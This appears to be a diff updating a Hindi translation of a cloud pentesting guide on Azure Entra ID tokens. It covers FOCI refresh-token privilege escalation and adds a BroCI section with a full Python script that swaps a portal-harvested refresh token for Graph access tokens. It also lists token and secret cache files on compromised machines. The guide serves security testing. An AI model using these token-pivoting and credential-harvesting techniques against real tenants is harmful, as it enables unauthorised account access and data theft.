diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
index e7b81f8f1..4f25464cf 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
@@ -4,59 +4,59 @@
 
 ## Basic Information
 
-Entra ID Microsoft का क्लाउड-आधारित identity और access management (IAM) प्लेटफ़ॉर्म है, जो Microsoft 365 और Azure Resource Manager जैसे सेवाओं के लिए foundational authentication और authorization सिस्टम के रूप में कार्य करता है। Azure AD OAuth 2.0 authorization framework और OpenID Connect (OIDC) authentication protocol को लागू करता है ताकि resources तक एक्सेस को मैनेज किया जा सके।
+Entra ID Microsoft का cloud-based identity और access management (IAM) प्लेटफ़ॉर्म है, जो Microsoft 365 और Azure Resource Manager जैसे सेवाओं के लिए आधारभूत authentication और authorization सिस्टम के रूप में काम करता है। Azure AD OAuth 2.0 authorization framework और OpenID Connect (OIDC) authentication protocol को लागू करता है ताकि resources तक पहुँच को प्रबंधित किया जा सके।
 
 ### OAuth
 
-**OAuth 2.0 में प्रमुख प्रतिभागी:**
+**Key Participants in OAuth 2.0:**
 
-1. **Resource Server (RS):** resource owner के द्वारा स्वामित्व वाले resources की सुरक्षा करता है।
-2. **Resource Owner (RO):** आमतौर पर एक end-user जो protected resources का मालिक होता है।
-3. **Client Application (CA):** एक application जो resource owner की ओर से resources तक पहुंच चाहता है।
-4. **Authorization Server (AS):** client applications को authenticate और authorize करने के बाद access tokens जारी करता है।
+1. **Resource Server (RS):** संसाधनों की रक्षा करता है जो resource owner के स्वामित्व में होते हैं।
+2. **Resource Owner (RO):** सामान्यतः एक end-user जो संरक्षित संसाधनों का मालिक होता है।
+3. **Client Application (CA):** एक ऐसा application जो resource owner की ओर से संसाधनों तक पहुँच चाहती है।
+4. **Authorization Server (AS):** client applications को प्रमाणीकरण और अधिकरण करने के बाद access tokens जारी करता है।
 
-**Scopes और Consent:**
+**Scopes and Consent:**
 
-- **Scopes:** resource server पर परिभाषित granular permissions जो access स्तरों को निर्दिष्ट करते हैं।
-- **Consent:** वह प्रक्रिया जिसके द्वारा resource owner किसी client application को विशिष्ट scopes के साथ resources तक पहुंच का permission देता है।
+- **Scopes:** resource server पर परिभाषित विस्तृत permissions जो access स्तरों को निर्दिष्ट करते हैं।
+- **Consent:** वह प्रक्रिया जिसके द्वारा एक resource owner client application को विशेष scopes के साथ संसाधनों तक पहुँचने की अनुमति देता है।
 
 **Microsoft 365 Integration:**
 
-- Microsoft 365 IAM के लिए Azure AD का उपयोग करता है और यह कई "first-party" OAuth applications से बना है।
-- ये applications गहरे तरीके से एकीकृत होते हैं और अक्सर आपसी सेवा-निर्भर संबंध रखते हैं।
+- Microsoft 365 IAM के लिए Azure AD का उपयोग करता है और कई "first-party" OAuth applications से मिलकर बना है।
+- ये applications गहराई से एकीकृत होते हैं और अक्सर परस्पर निर्भर service संबंध होते हैं।
 - उपयोगकर्ता अनुभव को सरल बनाने और कार्यक्षमता बनाए रखने के लिए, Microsoft इन first-party applications को "implied consent" या "pre-consent" प्रदान करता है।
-- **निहित सहमति (Implied Consent):** कुछ applications को स्वचालित रूप से **विशिष्ट scopes तक पहुंच बिना स्पष्ट user या administrator अनुमोदन के प्रदान की जाती है**।
-- ये pre-consented scopes आमतौर पर users और administrators दोनों से छिपे होते हैं, जिससे वे standard management interfaces में कम दिखाई देते हैं।
+- **Implied Consent:** कुछ applications को विशिष्ट scopes तक पहुंच स्वतः ही **प्रदान कर दी जाती है बिना स्पष्ट user या administrator approval के**।
+- ये pre-consented scopes आमतौर पर उपयोगकर्ताओं और administrators दोनों से छिपे होते हैं, जिससे वे मानक प्रबंधन इंटरफेस में कम दिखाई देते हैं।
 
-**Client Application प्रकार:**
+**Client Application Types:**
 
 1. **Confidential Clients:**
-- अपनी खुद की credentials (जैसे passwords या certificates) रखते हैं।
-- authorization server को **securely authenticate** कर सकते हैं।
+- इनके पास अपने स्वयं के credentials होते हैं (उदा. passwords या certificates)।
+- ये authorization server को **सुरक्षित रूप से प्रमाणित कर सकते हैं**।
 2. **Public Clients:**
-- अलग से unique credentials नहीं रखते।
-- authorization server को securely authenticate नहीं कर पाते।
-- **Security Implication:** एक attacker public client application का नकल कर सकता है जब वह tokens का अनुरोध कर रहा हो, क्योंकि authorization server के पास application की वैधता सत्यापित करने का कोई механизм नहीं होता।
+- इनके पास यूनिक credentials नहीं होते।
+- ये authorization server को सुरक्षित रूप से प्रमाणित नहीं कर सकते।
+- **Security Implication:** जब कोई public client application token का अनुरोध करता है तो एक attacker उस public client application का impersonate कर सकता है, क्योंकि authorization server के पास application की वैधता सत्यापित करने का कोई तंत्र नहीं होता।
 
 ## Authentication Tokens
 
-OIDC में उपयोग होने वाले **तीन प्रकार के टोकन** हैं:
+OIDC में उपयोग होने वाले **तीन प्रकार के tokens** हैं:
 
-- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** क्लाइंट इस टोकन को resource server के पास resources तक पहुंचने के लिए प्रस्तुत करता है। यह केवल एक specific combination of user, client, और resource के लिए उपयोग किया जा सकता है और expiry तक **revoke नहीं किया जा सकता** — डिफ़ॉल्ट रूप से यह 1 घंटे है।
-- **ID Tokens**: यह टोकन client को authorization server से मिलता है। इसमें user के बारे में basic जानकारी होती है। यह **specific combination of user और client** के लिए bound होता है।
-- **Refresh Tokens**: access token के साथ client को प्रदान किए जाते हैं। इनका उपयोग **नए access और ID tokens प्राप्त करने** के लिए किया जाता है। यह एक specific combination of user और client के लिए bound होता है और revoke किया जा सकता है। inactive refresh tokens के लिए डिफ़ॉल्ट expiry **90 days** है और active tokens के लिए **no expiry** (refresh token से नए refresh tokens प्राप्त करना संभव होने पर)।
-- एक refresh token को एक `aud`, कुछ **scopes**, और एक **tenant** से जोड़ा जाना चाहिए और यह केवल उस aud, scopes (और और नहीं) और tenant के लिए access tokens जनरेट करने में सक्षम होना चाहिए। हालाँकि, यह **FOCI applications tokens** के साथ मामला नहीं है।
+- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** क्लाइंट इस token को resource server के पास resources तक पहुँचने के लिए प्रस्तुत करता है। इसे सिर्फ एक विशिष्ट user, client, और resource के संयोजन के लिए उपयोग किया जा सकता है और यह expiry तक **revoked नहीं किया जा सकता** - डिफ़ॉल्ट रूप से यह 1 hour होता है।
+- **ID Tokens**: क्लाइंट को यह **authorization server से प्राप्त** होता है। इसमें user के बारे में बुनियादी जानकारी होती है। यह **विशिष्ट user और client के संयोजन के लिए बंधा** होता है।
+- **Refresh Tokens**: access token के साथ क्लाइंट को प्रदान किए जाते हैं। इनका उपयोग **नये access और ID tokens प्राप्त करने** के लिए होता है। यह विशिष्ट user और client के संयोजन के लिए बंधा होता है और revoked किया जा सकता है। inactive refresh tokens की डिफ़ॉल्ट expiry **90 दिन** है और active tokens के लिए **कोई expiry नहीं** है (एक refresh token से नए refresh tokens प्राप्त करना संभव है)।
+- एक refresh token को एक **`aud`**, कुछ **scopes**, और एक **tenant** से जोड़ा जाना चाहिए और यह केवल उसी aud, scopes (और अधिक नहीं) और tenant के लिए access tokens जनरेट करने में सक्षम होना चाहिए। हालांकि, **FOCI applications tokens** के साथ ऐसा नहीं होता।
 - एक refresh token encrypted होता है और केवल Microsoft ही इसे decrypt कर सकता है।
-- नया refresh token प्राप्त करने से पिछले refresh token को revoke नहीं किया जाता।
+- नया refresh token प्राप्त करने से पिछला refresh token revoked नहीं होता।
 
 > [!WARNING]
-> **conditional access** की जानकारी **JWT** के अंदर **store** होती है। इसलिए, यदि आप **allowed IP address** से टोकन का अनुरोध करते हैं, तो वह **IP** टोकन में **store** हो जाएगा और फिर आप उस टोकन का उपयोग करके **non-allowed IP** से resources तक access कर सकेंगे।
+> **conditional access** की जानकारी **JWT** के अंदर **store** होती है। इसलिए, यदि आप किसी allowed IP address से **token अनुरोध करते हैं**, वह IP token में **store** हो जाएगी और फिर आप उस token का उपयोग किसी **non-allowed IP से resources तक पहुँचने** के लिए कर सकते हैं।
 
 ### Access Tokens "aud"
 
-"aud" फील्ड में सूचित किया गया फ़ील्ड वह **resource server** (या application) है जिसका उपयोग login करने के लिए किया गया था।
+"aud" फ़ील्ड में संकेतित फ़ील्ड वह **resource server** (application) है जिसका उपयोग login करने के लिए किया जाता है।
 
-कमांड `az account get-access-token --resource-type [...]` निम्नलिखित प्रकारों का समर्थन करता है और इनमें से प्रत्येक परिणामस्वरूप access token में एक specific "aud" जोड़ देगा:
+कमांड `az account get-access-token --resource-type [...]` निम्नलिखित types का समर्थन करता है और इनमें से प्रत्येक resulting access token में एक विशिष्ट "aud" जोड़ देगा:
 
 > [!CAUTION]
 > ध्यान दें कि निम्नलिखित केवल `az account get-access-token` द्वारा समर्थित APIs हैं लेकिन और भी हैं।
@@ -65,22 +65,22 @@ OIDC में उपयोग होने वाले **तीन प्र
 
 <summary>aud examples</summary>
 
-- **aad-graph (Azure Active Directory Graph API)**: legacy Azure AD Graph API (deprecated) तक पहुँचने के लिए उपयोग होता है, जो applications को Azure Active Directory (Azure AD) में directory data पढ़ने और लिखने की अनुमति देता है।
+- **aad-graph (Azure Active Directory Graph API)**: legacy Azure AD Graph API (deprecated) तक पहुँचने के लिए उपयोग होता है, जो applications को Azure Active Directory (Azure AD) में directory डेटा पढ़ने और लिखने की अनुमति देता है।
 - `https://graph.windows.net/`
 
-* **arm (Azure Resource Manager)**: Azure Resource Manager API के माध्यम से Azure resources को मैनेज करने के लिए उपयोग होता है। इसमें virtual machines, storage accounts, आदि जैसी resources को बनाना, अपडेट और हटाना शामिल है।
+* **arm (Azure Resource Manager)**: Azure Resource Manager API के माध्यम से Azure resources का प्रबंधन करने के लिए उपयोग होता है। इसमें virtual machines, storage accounts जैसी resources बनाना, अपडेट करना, और हटाना जैसी operations शामिल हैं।
 - `https://management.core.windows.net/ or https://management.azure.com/`
 
-- **batch (Azure Batch Services)**: Azure Batch तक पहुँचने के लिए उपयोग होता है, जो क्लाउड में बड़े पैमाने पर parallel और high-performance computing applications को कुशलतापूर्वक सक्षम करता है।
+- **batch (Azure Batch Services)**: Azure Batch तक पहुँचने के लिए उपयोग होता है, जो cloud में बड़े पैमाने पर parallel और high-performance computing applications को कुशलतापूर्वक सक्षम करता है।
 - `https://batch.core.windows.net/`
 
 * **data-lake (Azure Data Lake Storage)**: Azure Data Lake Storage Gen1 के साथ इंटरैक्ट करने के लिए उपयोग होता है, जो एक स्केलेबल डेटा स्टोरेज और analytics सेवा है।
 - `https://datalake.azure.net/`
 
-- **media (Azure Media Services)**: Azure Media Services तक पहुँचने के लिए उपयोग होता है, जो वीडियो और ऑडियो सामग्री के लिए क्लाउड-आधारित मीडिया प्रोसेसिंग और delivery सेवाएं प्रदान करता है।
+- **media (Azure Media Services)**: Azure Media Services तक पहुँचने के लिए उपयोग होता है, जो वीडियो और ऑडियो सामग्री के लिए क्लाउड-आधारित media processing और delivery सेवाएं प्रदान करता है।
 - `https://rest.media.azure.net`
 
-* **ms-graph (Microsoft Graph API)**: Microsoft Graph API तक पहुँचने के लिए उपयोग होता है, जो Microsoft 365 सेवाओं के डेटा के लिए unified endpoint है। यह Azure AD, Office 365, Enterprise Mobility, और Security services जैसी सेवाओं से डेटा और insights एक्सेस करने की अनुमति देता है।
+* **ms-graph (Microsoft Graph API)**: Microsoft 365 सेवाओं के डेटा के लिए unified endpoint, Microsoft Graph API तक पहुँचने के लिए उपयोग होता है। यह Azure AD, Office 365, Enterprise Mobility, और Security सेवाओं जैसे स्रोतों से डेटा और insights तक पहुँचने की अनुमति देता है।
 - `https://graph.microsoft.com`
 
 - **oss-rdbms (Azure Open Source Relational Databases)**: MySQL, PostgreSQL, और MariaDB जैसे open-source relational database engines के लिए Azure Database सेवाओं तक पहुँचने के लिए उपयोग होता है।
@@ -90,9 +90,9 @@ OIDC में उपयोग होने वाले **तीन प्र
 
 ### Access Tokens Scopes "scp"
 
-Access token का scope access token JWT के अंदर scp key के भीतर संग्रहीत होता है। ये scopes परिभाषित करते हैं कि access token किस चीज़ तक पहुँच रखता है।
+Access token का scope access token JWT के अंदर scp key में संग्रहीत होता है। ये scopes परिभाषित करते हैं कि access token किस चीज़ तक पहुँच रखता है।
 
-यदि कोई JWT किसी specific API से संपर्क करने की अनुमति रखता है लेकिन उस अनुरोधित क्रिया को करने के लिए उसके पास आवश्यक scope नहीं है, तो वह JWT उस क्रिया को पूरा नहीं कर पाएगा।
+यदि कोई JWT किसी विशिष्ट API से संपर्क करने की अनुमति रखता है पर उसके पास अनुरोधित क्रिया को करने के लिए आवश्यक scope **नहीं है**, तो वह JWT उस क्रिया को करने में **सक्षम नहीं** होगा।
 
 ### Get refresh & access token example
 ```python
@@ -147,29 +147,28 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
 ### Other access token fields
 
 - **appid**: टोकन जनरेट करने के लिए उपयोग किया गया Application ID
-- **appidacr**: The Application Authentication Context Class Reference यह बताता है कि क्लाइंट कैसे authenticated था; public client के लिए value 0 होता है, और यदि client secret उपयोग किया गया हो तो value 1 होता है
-- **acr**: The Authentication Context Class Reference claim "0" होता है जब end-user authentication ने ISO/IEC 29115 की आवश्यकताओं को पूरा नहीं किया।
-- **amr**: Authentication method यह दिखाता है कि टोकन कैसे authenticated था। “pwd” value यह संकेत देती है कि पासवर्ड का उपयोग हुआ था।
-- **groups**: उन groups को दर्शाता है जिनका principal सदस्य है।
-- **iss**: यह security token service (STS) को पहचानता है जिसने टोकन जनरेट किया। e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
+- **appidacr**: The Application Authentication Context Class Reference यह दर्शाता है कि client को कैसे authenticated किया गया था; public client के लिए value 0 है, और यदि client secret उपयोग किया गया हो तो value 1 है
+- **acr**: The Authentication Context Class Reference claim "0" होता है जब end-user authentication ने ISO/IEC 29115 की requirements को पूरा नहीं किया हो।
+- **amr**: The Authentication method बताती है कि टोकन को किस तरीके से authenticated किया गया था। "pwd" value का मतलब है कि password का उपयोग किया गया।
+- **groups**: उन groups को दर्शाता है जिनके सदस्य के रूप में principal है।
+- **iss**: issuer उस security token service (STS) की पहचान करता है जिसने टोकन जनरेट किया था। e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (uuid tenant ID है)
 - **oid**: principal का object ID
 - **tid**: Tenant ID
-- **iat, nbf, exp**: Issued at (जब यह जारी किया गया), Not before (इस समय से पहले उपयोग नहीं किया जा सकता, आमतौर पर iat के समान मान), Expiration time.
-
+- **iat, nbf, exp**: Issued at (जब यह जारी हुआ), Not before (इस समय से पहले उपयोग नहीं किया जा सकता, आमतौर पर iat के समान), Expiration time (समाप्ति समय)।
 
 ## FOCI Tokens Privilege Escalation
 
-पूर्व में कहा गया था कि refresh tokens को जिन **scopes** के साथ इसे जनरेट किया गया था, उस **application** और जिस **tenant** के लिए इसे जनरेट किया गया था उनसे जोड़ा जाना चाहिए। यदि इन किसी भी सीमाओं को तोड़ा जाता है, तो यह संभव है कि privileges escalate हों क्योंकि इससे user के द्वारा access किए जा सकने वाले अन्य resources और tenants के लिए access tokens जनरेट करना संभव हो जाएगा और वे अधिक scopes के साथ हो सकते हैं जितना मूल रूप से निर्धारित था।
+पहले बताया गया था कि refresh tokens को उन **scopes** के साथ बाँधकर रखा जाना चाहिए जिनके साथ वे जनरेट किए गए थे, और जिन **application** और **tenant** के लिए वे जनरेट किए गए थे। यदि इन सीमाओं में से कोई भी टूटती है, तो privilege escalation संभव हो सकता है क्योंकि यह अन्य resources और tenants के लिए access tokens जनरेट करने की अनुमति दे सकता है जिन तक उपयोगकर्ता की पहुँच है और वह मूल उद्देश्य से अधिक scopes के साथ हो सकते हैं।
 
-इसके अलावा, **this is possible with all refresh tokens** in the [Microsoft identity platform] (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) क्योंकि जैसा कि [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) में उल्लेख है: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
+Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) क्योंकि जैसा कि [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) में उल्लेख है: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
 
-और ध्यान दें कि FOCI applications public applications हैं, इसलिए server को authenticate करने के लिए **no secret is needed**।
+Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server.
 
-फिर ज्ञात FOCI clients जो [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) में रिपोर्ट किए गए थे उन्हें [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) पर देखा जा सकता है।
+फिर [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) में रिपोर्ट किए गए ज्ञात FOCI clients को [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) पर देखा जा सकता है।
 
 ### Get different scope
 
-Following with the previous example code, in this code it's requested a new token for a different scope:
+पिछले उदाहरण कोड के साथ आगे बढ़ते हुए, इस कोड में एक अलग scope के लिए नया token अनुरोध किया गया है:
 ```python
 # Code from https://github.com/secureworks/family-of-client-ids-research
 azure_cli_bearer_tokens_for_outlook_api = (
@@ -202,30 +201,361 @@ scopes=["https://graph.microsoft.com/.default"],
 # How is this possible?
 pprint(microsoft_office_bearer_tokens_for_graph_api)
 ```
-## Tokens कहां मिल सकते हैं
+## NAA / BroCI (Nested App Authentication / Broker Client Injection)
 
-एक हमलावर के दृष्टिकोण से यह जानना बहुत उपयोगी है कि, उदाहरण के लिए जब किसी victim का PC compromised हो, तो कहाँ access और refresh tokens मिल सकते हैं:
+A BroCI refresh tokens is a brokered token exchange pattern where an existing refresh token is used with extra broker parameters to request tokens as another trusted first-party app.
 
-- **`<HOME>/.Azure`** के अंदर
-- **`azureProfile.json`** में past के logged in users की जानकारी होती है
-- **`clouds.config`** में subscriptions की जानकारी होती है
-- **`service_principal_entries.json`** में applications credentials (tenant id, clients and secret) होते हैं। केवल Linux & macOS पर
-- **`msal_token_cache.json`** में access tokens और refresh tokens होते हैं। केवल Linux & macOS पर
-- **`service_principal_entries.bin`** और **msal_token_cache.bin** Windows में उपयोग होते हैं और DPAPI के साथ encrypted होते हैं
+These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token).
+
+### Goal and purpose
+
+BroCI का उद्देश्य एक broker-capable app chain से वैध user session को reuse करके किसी दूसरी trusted app/resource जोड़ी के लिए tokens अनुरोध करना है। इसका मतलब है कि original token से "privilege escalation" संभव हो सकता है।
+
+ऑफेंसिव परिप्रेक्ष्य से यह इसलिए महत्वपूर्ण है क्योंकि:
+
+- यह pre-consented first-party app paths अनलॉक कर सकता है जो standard refresh exchanges से उपलब्ध नहीं होते।
+- यह उच्च-मूल्य के APIs (उदाहरण के लिए Microsoft Graph) के लिए access tokens लौटा सकता है, उन app identities के तहत जिनके पास व्यापक delegated permissions हैं।
+- यह क्लासिक FOCI client switching से परे post-authentication token pivoting के अवसर बढ़ाता है।
+
+NAA/BroCI refresh token में जो बदलता है वह दिखाई देने वाले token format नहीं है, बल्कि **issuance context** और broker-संबंधित metadata है जिसे Microsoft brokered refresh operations के दौरान validate करता है।
+
+NAA/BroCI token exchanges सामान्य OAuth refresh exchange के समान नहीं हैं।
+
+- एक regular refresh token (उदाहरण के लिए device code flow के माध्यम से प्राप्त) आमतौर पर standard `grant_type=refresh_token` operations के लिए मान्य होता है।
+- एक BroCI request अतिरिक्त broker context शामिल करता है (`brk_client_id`, broker `redirect_uri`, और `origin`)।
+- Microsoft यह validate करता है कि प्रस्तुत refresh token किसी matching brokered context में ही mint किया गया था।
+- इसलिए कई "normal" refresh tokens BroCI requests में `AADSTS900054` जैसी त्रुटियों के साथ fail कर जाते हैं ("Specified Broker Client ID does not match ID in provided grant")।
+- आप आमतौर पर किसी normal refresh token को code में BroCI-valid में "convert" नहीं कर सकते।
+- आपको एक ऐसा refresh token चाहिए जो पहले से ही किसी compatible brokered flow द्वारा issue किया गया हो।
+
+Check the web **<https://entrascopes.com/>** to find BroCI configured apps an the trust relationships they have.
+
+
+### Mental model
+
+Think of BroCI as:
+
+`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
+
+If any part of that broker chain does not match, the exchange fails.
+
+### Where to find a BroCI-valid refresh token
+
+One practical way is browser portal traffic collection:
+
+1. Sign in to `https://entra.microsoft.com` (or Azure portal).
+2. Open DevTools -> Network.
+3. Filter for:
+- `oauth2/v2.0/token`
+- `management.core.windows.net`
+4. Identify the brokered token response and copy `refresh_token`.
+5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).
+
+### Common errors
+
+- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow.
+- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client.
+
+<details>
+<summary>Python BroCI refresh helper (broci_auth.py)</summary>
+```python
+#!/usr/bin/env python3
+"""
+Python implementation of EntraTokenAid Broci refresh flow.
+
+Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
+- brk_client_id
+- redirect_uri
+- Origin header
+
+Usage:
+python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
+
+How to obtain a Broci-valid refresh token (authorized testing only):
+1) Open https://entra.microsoft.com and sign in.
+2) Open browser DevTools -> Network.
+3) Filter requests for:
+- "oauth2/v2.0/token"
+- "management.core.windows.net"
+4) Locate the portal broker token response and copy the "refresh_token" value
+(the flow should be tied to https://management.core.windows.net//).
+5) Use that token with this script and Broci params:
+
+python3 broci_auth.py \
+--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
+--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
+--tenant "organizations" \
+--api "graph.microsoft.com" \
+--scope ".default offline_access" \
+--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
+--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
+--origin "https://entra.microsoft.com" \
+--token-out
+"""
+
+import argparse
+import base64
+import datetime as dt
+import json
+import re
+import sys
+import urllib.error
+import urllib.parse
+import urllib.request
+from typing import Any
+
+
+GUID_RE = re.compile(
+r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
+)
+OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
+
+
+def resolve_api_scope_url(api: str, scope: str) -> str:
+"""
+Match Resolve-ApiScopeUrl behavior from the PowerShell module.
+"""
+if GUID_RE.match(api):
+base_resource = api
+elif api.lower().startswith("urn:") or "://" in api:
+base_resource = api
+else:
+base_resource = f"https://{api}"
+
+base_resource = base_resource.rstrip("/")
+
+resolved: list[str] = []
+for token in scope.split():
+if not token.strip():
+continue
+if "://" in token:
+resolved.append(token)
+elif token.lower().startswith("urn:"):
+resolved.append(token)
+elif token in OIDC_SCOPES:
+resolved.append(token)
+elif GUID_RE.match(token):
+resolved.append(f"{token}/.default")
+else:
+normalized = ".default" if token in {"default", ".default"} else token
+resolved.append(f"{base_resource}/{normalized}")
+
+return " ".join(resolved)
+
+
+def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
+parts = jwt_token.split(".")
+if len(parts) != 3:
+raise ValueError("Invalid JWT format.")
+payload = parts[1]
+padding = "=" * ((4 - len(payload) % 4) % 4)
+decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
+return json.loads(decoded.decode("utf-8"))
+
+
+def refresh_broci_token(
+refresh_token: str,
+client_id: str,
+scope: str,
+api: str,
+tenant: str,
+user_agent: str,
+origin: str | None,
+brk_client_id: str | None,
+redirect_uri: str | None,
+disable_cae: bool,
+) -> dict[str, Any]:
+api_scope_url = resolve_api_scope_url(api=api, scope=scope)
+
+headers = {
+"User-Agent": user_agent,
+"X-Client-Sku": "MSAL.Python",
+"X-Client-Ver": "1.31.0",
+"X-Client-Os": "win32",
+"Content-Type": "application/x-www-form-urlencoded",
+}
+if origin:
+headers["Origin"] = origin
+
+body: dict[str, str] = {
+"grant_type": "refresh_token",
+"client_id": client_id,
+"scope": api_scope_url,
+"refresh_token": refresh_token,
+}
+if not disable_cae:
+body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
+if brk_client_id:
+body["brk_client_id"] = brk_client_id
+if redirect_uri:
+body["redirect_uri"] = redirect_uri
+
+data = urllib.parse.urlencode(body).encode("utf-8")
+token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
+req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
+
+try:
+with urllib.request.urlopen(req) as resp:
+raw = resp.read().decode("utf-8")
+except urllib.error.HTTPError as e:
+err_raw = e.read().decode("utf-8", errors="replace")
+try:
+err_json = json.loads(err_raw)
+short = err_json.get("error", "unknown_error")
+desc = err_json.get("error_description", err_raw)
+raise RuntimeError(f"{short}: {desc}") from None
+except json.JSONDecodeError:
+raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
+
+tokens = json.loads(raw)
+if "access_token" not in tokens:
+raise RuntimeError("Token endpoint response did not include access_token.")
+return tokens
+
+
+def main() -> int:
+parser = argparse.ArgumentParser(
+description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
+)
+parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
+parser.add_argument(
+"--client-id",
+default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
+help="Client ID (default: Azure CLI).",
+)
+parser.add_argument(
+"--scope",
+default=".default offline_access",
+help="Scopes (default: '.default offline_access').",
+)
+parser.add_argument(
+"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
+)
+parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
+parser.add_argument(
+"--user-agent",
+default="python-requests/2.32.3",
+help="User-Agent sent to token endpoint.",
+)
+parser.add_argument("--origin", default=None, help="Optional Origin header.")
+parser.add_argument(
+"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
+)
+parser.add_argument(
+"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
+)
+parser.add_argument(
+"--disable-cae",
+action="store_true",
+help="Disable CAE claims in token request.",
+)
+parser.add_argument(
+"--token-out",
+action="store_true",
+help="Print access/refresh tokens in output.",
+)
+parser.add_argument(
+"--disable-jwt-parsing",
+action="store_true",
+help="Do not parse JWT claims.",
+)
+
+args = parser.parse_args()
+
+print("[*] Sending request to token endpoint")
+try:
+tokens = refresh_broci_token(
+refresh_token=args.refresh_token,
+client_id=args.client_id,
+scope=args.scope,
+api=args.api,
+tenant=args.tenant,
+user_agent=args.user_agent,
+origin=args.origin,
+brk_client_id=args.brk_client_id,
+redirect_uri=args.redirect_uri,
+disable_cae=args.disable_cae,
+)
+except Exception as e:
+print(f"[!] Error: {e}", file=sys.stderr)
+return 1
+
+expires_in = int(tokens.get("expires_in", 0))
+expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
+tokens["expiration_time"] = expiration_time
+
+print(
+"[+] Got an access token and a refresh token"
+if tokens.get("refresh_token")
+else "[+] Got an access token (no refresh token requested)"
+)
+
+if not args.disable_jwt_parsing:
+try:
+jwt_payload = parse_jwt_payload(tokens["access_token"])
+audience = jwt_payload.get("aud", "")
+print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
+tokens["scp"] = jwt_payload.get("scp")
+tokens["tenant"] = jwt_payload.get("tid")
+tokens["user"] = jwt_payload.get("upn")
+tokens["client_app"] = jwt_payload.get("app_displayname")
+tokens["client_app_id"] = args.client_id
+tokens["auth_methods"] = jwt_payload.get("amr")
+tokens["ip"] = jwt_payload.get("ipaddr")
+tokens["audience"] = audience
+if isinstance(audience, str):
+tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
+if "xms_cc" in jwt_payload:
+tokens["xms_cc"] = jwt_payload.get("xms_cc")
+except Exception as e:
+print(f"[!] JWT parse error: {e}", file=sys.stderr)
+return 1
+else:
+print(f"[i] Expires at: {expiration_time}")
+
+if args.token_out:
+print("\nAccess Token:")
+print(tokens.get("access_token", ""))
+if tokens.get("refresh_token"):
+print("\nRefresh Token:")
+print(tokens["refresh_token"])
+
+print("\nToken object (JSON):")
+print(json.dumps(tokens, indent=2))
+return 0
+
+
+if __name__ == "__main__":
+raise SystemExit(main())
+```
+</details>
+
+## टोकन कहाँ मिलते हैं
+
+एक हमलावर के नज़रिए से यह जानना बहुत उपयोगी है कि जहाँ उदाहरण के लिए पीड़ित के PC में प्रवेश कर लिया गया हो वहां पर access और refresh tokens कहाँ मिल सकते हैं:
+
+- के अंदर **`<HOME>/.Azure`**
